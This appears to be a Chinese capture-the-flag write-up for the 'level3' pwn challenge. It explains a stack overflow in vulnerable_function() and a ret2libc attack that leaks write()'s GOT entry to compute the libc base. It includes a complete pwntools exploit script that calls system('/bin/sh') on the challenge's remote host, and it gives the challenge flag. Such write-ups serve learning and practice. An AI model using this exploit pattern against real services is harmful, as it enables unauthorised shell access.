【攻防世界】level3
收获
- 当
elf
文件中没有给出system()
函数和字符串"/bin/sh"
的地址时,如果给出了一个库文件libc
,可以通过库文件来确定基地址,然后根据基地址反向推出elf
文件中的system()
函数以及"/bin/sh"
的地址
思路
得到一个可执行文件和一个 32 位库文件:
查看文件信息:
32位 小端序,只开启了栈不可执行
尝试运行:
在 IDA 中分析:
进入漏洞函数 vulnerable_function()
:
查看 buf
所在位置:
buf
在栈中的长度为 0x88,但可以通过 read()
输入的长度为 0x100,存在溢出点
查看字符串:
本题没有 "/bin/sh"
,也无法向段中写入数据
在 IDA 中查看函数:
发现本题没有给出 system()
函数
但是由于本题给出了一个 32位 库文件,结合题目给出的提示,通过该 libc
库文件入手
同时,根据题目,程序中没有现成的 system()
函数,这就需要我们从 libc
中动态加载 system()
函数
由于 PIE
没有开启,也就是说程序地址不是随机化的,那么在 libc
中函数的偏移地址就是固定的,只要确定了 libc
的基地址,然后计算出 system()
函数的偏移地址,就可以定位到 system()
函数的真实地址,实现调用
libc
中的函数的相对地址是固定的,要想获取到 system()
函数的地址,可以通过 write()
函数进行 offset
计算:
- 首先利用
write()
函数计算出write()
函数的真实地址 - 利用相对
offset
计算出system()
函数和"/bin/sh"
的真实地址
先使用 write()
泄露 got
表中的地址,计算出 libc
的基地址,调用完成之后返回到 vulnerable_function()
,计算出 system()
函数和 "/bin/sh"
在内存中的地址,然后再进行一次栈溢出调用 system("/bin/sh")
即可
脚本
from pwn import *
context(os='linux', arch='i386', log_level='debug') # 打印调试信息
content = 0 # 本地Pwn通之后,将content改成0,Pwn远程端口
# elf
elf = ELF("./level3/level3") # 生成elf对象
elf_main_addr = elf.symbols["main"] # 获取elf文件中main函数的地址
elf_write_plt_addr = elf.plt["write"] # 获取elf文件中write函数在PLT表中的地址
elf_write_got_addr = elf.got["write"] # 获取elf文件中write函数在GOT表中的地址
# libc
libc = ELF("./level3/libc_32.so.6") # 生成libc对象
libc_write_addr = libc.symbols["write"] # 获取libc库中的write函数的地址
libc_system_addr = libc.symbols["system"] # 获取libc库中的system函数的地址
lib_bin_sh_addr = next(libc.search(b'/bin/sh')) # 在libc库中搜索"/bin/sh"字符串的地址
def main():
if content == 1:
io = process("./level3/level3") # 程序在kali的路径
else:
io = remote("61.147.171.105", 63027) # 题目的远程端口,注意是remote
payload = b'a' * (0x88 - 0x00 + 0x04) + p32(elf_write_plt_addr) + p32(elf_main_addr)
payload += p32(1) + p32(elf_write_got_addr) + p32(4)
io.recvuntil("Input:\n")
io.sendline(payload)
write_addr = u32(io.recv()[:4]) # 接收数据: write函数在elf文件中的地址
print("write_addr: ", hex(write_addr)) # 将此地址打印出来(每次执行结果不一样)
base_addr = write_addr - libc_write_addr # 根据elf文件中的write_addr计算得到基地址
system_addr = base_addr + libc_system_addr # 根据基地址base_addr计算得到elf文件中system函数地址
bin_sh_addr = base_addr + lib_bin_sh_addr # 根据基地址base_addr计算得到elf文件中"/bin/sh"的地址
payload = b'a' * (0x88 - 0x00 + 0x04) + p32(system_addr) # 得到了函数在elf文件中的真实地址后,按照以往的正常调用方式来写即可
payload = payload + b'aaaa' + p32(bin_sh_addr) # 填充4个垃圾字符平衡栈,使"/bin/sh"作为system函数的参数
io.recvuntil("Input:\n")
io.sendline(payload)
io.interactive()
main()
结果
cyberpeace{ee17c7e9631b2894da88efa5205b4a8c}
评论